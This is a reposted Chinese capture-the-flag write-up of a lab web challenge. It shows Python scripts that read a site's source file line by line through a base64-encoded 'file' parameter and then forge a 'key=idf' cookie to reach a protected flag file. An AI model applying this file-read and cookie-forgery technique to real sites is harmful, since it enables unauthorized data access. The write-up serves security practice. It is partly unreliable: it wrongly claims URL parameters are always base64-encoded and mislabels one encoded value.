码迷,mamicode.com
首页 > 其他好文 > 详细

IDF实验室:天罗地网--COOKIE欺骗

时间:2016-01-23 18:03:51      阅读:257      评论:0      收藏:0      [点我收藏+]

标签:

阅读目录

 

题目

技术分享

分析

打开题目所给链接,页面内容是一串看不懂且非常长的字符串。

看似像md5值(没见过这么长的md5技术分享)

观察url地址栏的链接,多了两个参数 "line" 和 "file" 。都知道 url参数的传递都是base64编码

技术分享

"line" 值为空

"file" 值为 ZmxhZy50eHQ

将 "file" 的值 "ZmxhZy50eHQ" 用python给解码(我是python 新手,所以我不依赖其他在线解码工具!自己动手,丰衣足食)

技术分享

解码居然失败了

google..查询 (base后一两位可能有"=")

技术分享

得到结果 "flag.txt"

猜测有文件包含漏洞,尝试更改"file"的值为"index.php"的base64编码值访问,网页一片空白。

技术分享

技术分享

上面说到"line"的值为空,现在尝试更改 "line" 的值后,输入1得到一行代码

技术分享

多次尝试后发现"line"最大为18,用python抓取该文件内容,从0开始遍历

#coding:utf-8
# idf
# Author: vforbox

import requests

for i in range(0,19):
    url = "http://ctf.idf.cn/game/web/40/index.php?line="+ str(i)+ "&file=aW5kZXgucGhw"
    response = requests.get(url)
    content = response.text
    print content

得到的内容,这就是index.php的代码

<?php

    error_reporting(0);

    $file=base64_decode(isset($_GET[file])?$_GET[file]:"");

    $line=isset($_GET[line])?intval($_GET[line]):0;

    if($file==‘‘) header("location:index.php?line=&file=ZmxhZy50eHQ");


    $file_list = array(

        0 =>flag.txt, 

        1 =>index.php,

    );

    if(isset($_COOKIE[key]) && $_COOKIE[key]==idf){

        $file_list[2]=flag.php;

    }

    if(in_array($file, $file_list)){


        $fa = file($file);

        echo $fa[$line];
    }

?>

从index.php的代码中,可以发现cookie的名为key,值为idf

将"file"的值设置成"ZmxhZy50eHQ"(flag.txt的base64码)可以通过cookie欺骗的方式访问flag.php文件

依然遍历"line",Python 脚本如下

#coding:utf-8
# idf
#Author: vforbox

import requests

cookies={key:idf} # 设置cookies的值为idf

for i in range(0,19):
    url = "http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA"
    response = requests.get(url,cookies=cookies)
    content = response.text
    print content

技术分享

得到密码: wctf{idf_c00kie}

总结

 重点是思路,思路有什么不对劲的地方,请高手不要揭穿我技术分享

 

IDF实验室:天罗地网--COOKIE欺骗

标签:

原文地址:http://www.cnblogs.com/vforbox/p/5153290.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!